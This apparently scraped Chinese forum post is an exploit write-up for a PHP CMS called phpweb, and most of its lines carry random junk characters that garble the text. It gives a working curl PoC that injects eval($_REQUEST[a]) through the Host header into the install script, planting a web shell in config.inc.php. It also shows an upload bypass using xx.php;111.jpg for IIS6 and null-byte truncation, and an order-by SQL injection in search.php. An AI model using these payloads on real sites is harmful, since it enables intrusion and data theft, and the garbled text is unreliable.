注入:6 J, U8 l8 k. I) R2 Y1 e1 f
! Z7 T0 Q2 Y! U: I& i7 i E, f- y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码8 \+ ^, z# c- C
$ O+ m J2 |9 D( B0 I鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
) v2 |* K( R2 L6 B u" ~ n鸡肋2: 有一定安全常识的站长都会删掉 install 目录8 ?& {; Q& K3 o0 d5 ^' K
6 S& \ K v. H1 l! {: P虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
: M' D6 G4 X& [, g X9 R8 h
* B2 e" ?8 I+ K e/ l分析:
3 s! h! c1 |4 {: d) f# g3 H0 q
7 \1 u& g) s( C2 G/ f + V6 O& H) D8 U V7 J0 t$ J/ d
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤! F8 w" _ A; l; G l8 i
6 A& S0 G9 g6 E; u# ^, v
$filestr = fread(fopen($SysConfigFile, 'r'),30000);# T5 J; ~6 a7 _
$filestr=str_replace(" ","",$filestr);
0 G, z6 V/ H) u $filestr=str_replace("DefaultDbHost",$dbhost,$filestr); a) A; X/ G- ~5 k. ~4 k1 ?( x& y
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
( b3 n- d: [3 [! o; G9 l $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
4 v% u! f/ y3 G e% Y5 d $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);+ G( n3 l, b* m* T- K% N
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);$ q1 ^4 F) c/ d5 n
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);; G9 o* @; D5 z: q
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
9 O5 _( o& R$ h+ \! _6 T
. y: f( F1 E8 ~/ K ^ fwrite(fopen($ConFile,"w"),$filestr,30000);
# z9 |8 B9 H3 w+ F) q0 s$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^1 `$ B& E. G$ ^3 H. r# B1 {! ]
# X1 g g" W: ^
poc:8 ~) g3 l- L+ U! D; D3 {
) M3 j1 {& g) n?! n) X) n7 N% d" s
1
# B, c# Q O: s% e8 N! icurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"3 V! b) `& S V
shell地址: /config.inc.php
- t+ i5 D8 O$ @% ]6 L) D' c跟之前的 phpcms一样 需要远程数据库
+ c0 Z: Q; p# o' } 2 j" o1 t( u+ } ^% m7 \. k
——————————————————–- J, a. Y+ k! A! L; E5 o! t
上传漏洞(需要进后台):% M6 K: |7 H$ D+ f3 S5 g
漏洞文件: /kedit/upload_cgi/upload.php, |! o8 X5 m- c, J" C
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
/ U) x: A) t K
7 v# m+ Y; U0 T! n4 i ! M1 n- m% J7 {1 }5 U1 K
<?php
) c+ \3 h+ l% Z define("ROOTPATH", "../../");
/ n" ^. @; m, } F6 H5 U8 o& B include(ROOTPATH."includes/admin.inc.php");
9 J8 A. Q5 T# d$ V; I" F NeedAuth(0);
2 o+ S+ y0 Z9 Y0 {
" b) B/ z: r G $dt=date("Ymd",time());
' Q" R3 J! H/ b! W if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
# N+ w( I; G" J' D# x% @% a- u( ] @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
u0 F( V5 [9 }' ?, } }6 { A& z, P' s* T) D" @
! S: E& c/ S9 X! |7 m //文件保存目录路径" r5 l' @) |% w8 o3 S
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& U1 w! K3 p. V$ d, w7 D
echo $save_path;
8 n3 C k% L) x: _2 w, }- W; P //文件保存目录URL
9 t2 Z& l% M% X3 _0 Q $save_url = '../../'.$_POST['attachPath'].$dt.'/';
1 O' s* O/ o* @4 n) H; [. b' N ! I* t4 y t1 x, g# n# ]- X6 t( z
//定义允许上传的文件扩展名2 Y9 `7 t7 U( P$ }* B! W
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀* y0 V5 E( Y: G' j% ^( {4 b: ^
! q& a( ~+ ?0 d1 Y, _
//最大文件大小
* |6 ?! Y" J- P$ O, d% f. G( t% g/ U+ N $max_size = 1000000;; Y0 c2 F% w; E2 }1 ]
! W \; b; R7 i( P //更改目录权限
+ z& u$ R% m5 r( [( F @mkdir($save_path, 0777);
: b+ |: q* @8 p0 ^ 7 x. K: u7 D2 n, i! d" n7 V
//文件的全部路径
' b- v" O' n' W- }0 z& A3 s $file_path = $save_path.$_POST['fileName']; //保存文件名
5 N( S J% L; u" v% z) g* L
/ F) p* v) K: y: a* V //文件URL
$ ?% W8 }! s+ _! `* w $file_url = $save_url.$_POST['fileName'];
: ]8 J: J+ Z, L//有上传文件时
% [$ p L3 \! r4 ], h5 {+ J% v. ^+ d4 K if (empty($_FILES) === false) {
3 j& I6 } U7 ^- ~( [, p9 S! S- x0 j
* A; y4 {& }2 z //原文件名
* x; J% g1 t; G" S) E F2 i$ O $file_name = $_FILES['fileData']['name'];
! Y/ R5 A1 r2 r- U& o* a //服务器上临时文件名" S2 ?3 a2 H& u8 w
$tmp_name = $_FILES['fileData']['tmp_name'];$ C0 |* E: M8 u' N% T
//文件大小
* R7 m4 T: @( F# A" J { $file_size = $_FILES['fileData']['size'];9 m2 ~* G2 E/ E
//检查目录. Q8 s9 h. f! B8 Z! i) R
if (@is_dir($save_path) === false) {
q4 `& X% W7 M) h alert("上传目录不存在。");0 E5 O" U& P( S5 X
}1 P: J. H X+ ]/ K
//检查目录写权限3 {: D+ T- u5 X
if (@is_writable($save_path) === false) {
6 f+ Z' v9 C1 q6 v) Y+ X7 a E) \ alert("上传目录没有写权限。");
0 V' w8 f: i3 M5 A& P/ C3 C, X% d }7 c3 i4 V3 p# P& k' X% } k
//检查是否已上传7 S) s8 w6 D- R' ]
if (@is_uploaded_file($tmp_name) === false) {
8 ~: F# T& C3 H% u0 t! }- j alert("临时文件可能不是上传文件。");
1 w& @3 h* {* ~: v' o }
* W0 s7 l% \( A( g //检查文件大小
& ~% m8 ]8 }' u& S2 R if ($file_size > $max_size) {
9 M, ?- J" A% \; q, x; A# }2 _ alert("上传文件大小超过限制。");$ G* R& G1 q% T( m" L2 Q( C
}
. U6 H6 l7 e! N0 l. M //获得文件扩展名
5 @5 ^( z% {6 N/ K8 h $temp_arr = explode(".", $_POST['fileName']);1 `! u6 G! U, s7 r4 g
$file_ext = array_pop($temp_arr);
) D8 Y! h7 f7 U' u4 f3 J# _ $file_ext = trim($file_ext);6 N- E! B q. r3 z3 ]) t0 g+ e
$file_ext = strtolower($file_ext);
5 \2 s6 B' u1 _4 s y" }7 m
, P6 D' x4 P; N8 C. P( i$ N( w) B //检查扩展名
. z9 I+ M9 V7 {% D if (in_array($file_ext, $ext_arr) === false) { 7 A; C1 u$ o* C) n5 K$ i
alert("上传文件扩展名是不允许的扩展名。");0 e* X) G5 y, g3 K
}
5 g3 Y1 a- D: H; A0 t
# k9 R# h x& e5 Y- y% L; }. M; e; _ //移动文件
* c0 G n! d8 C+ S //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^% k! K# z) W7 n
if (move_uploaded_file($tmp_name, $file_path) === false) {2 J+ L# z7 h ~1 D
alert("上传文件失败。");
; a" ?, I1 e6 P& C% p/ ` }
2 m2 G% V4 l! k: k1 L+ Z
- C' Z4 e$ ]0 ]4 j5 H% B9 O @chmod($file_path,0666);
, c" s$ G0 x9 \6 u
9 }; ]1 Q4 W4 ]. r# n ?>
( X; [* D# o1 |, O抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
; {2 v3 v- v- ?# I+ D& ] ; i. W1 x: {8 R1 U& V
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
* F3 Z' I2 A2 e1 K: F
% u) e" n! X; m& c% O9 Y——————————————————
/ Y& m% m: P" U. h/ L注入漏洞:6 C+ o& ]* R4 n4 a4 x7 ?% q8 n
漏洞文件:search/module/search.php
( c% Z7 T- l! k# l4 R# f6 U/search/index.php?key=1&myord=1 [sqlinjection]' b+ X; H7 L+ F8 n
+ f' t2 W2 w7 V; [ r" T
' c7 s6 r3 c6 F9 C! j" Q) @! j<?php
" K' f3 i( D4 a* C // ... 省略 n 行...
% f3 h( G( F1 V) y3 c3 I( N$ | //第18行:. [6 `( W- u# Q; e
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响$ O" o( X+ ^5 h+ p
$page=htmlspecialchars($_GET["page"]);
, K/ r7 E, d V $myord=htmlspecialchars($_GET["myord"]);
. V: H$ z( D. }: `
' z0 v8 @; a6 y: \* j // ... 省略 n 行...2 Y7 t0 h* p% P" H/ D! n
$key,$myord 两个参数带入查询
. P- c8 K# c! O8 d ? //第47行 $key:
?" d! d+ d; x2 @9 o
, |: M! Q0 Z4 C Y! i9 D $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..9 w$ O9 X5 }; T4 |" V0 Y2 o
' a0 z, G+ G. R) O) @ //第197行 $myord
+ R5 V% n8 d8 d* r1 S $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入6 T/ E7 [0 I' K
5 u( Z5 z% C3 B
?>3 G; e8 B h% v, r7 Y
|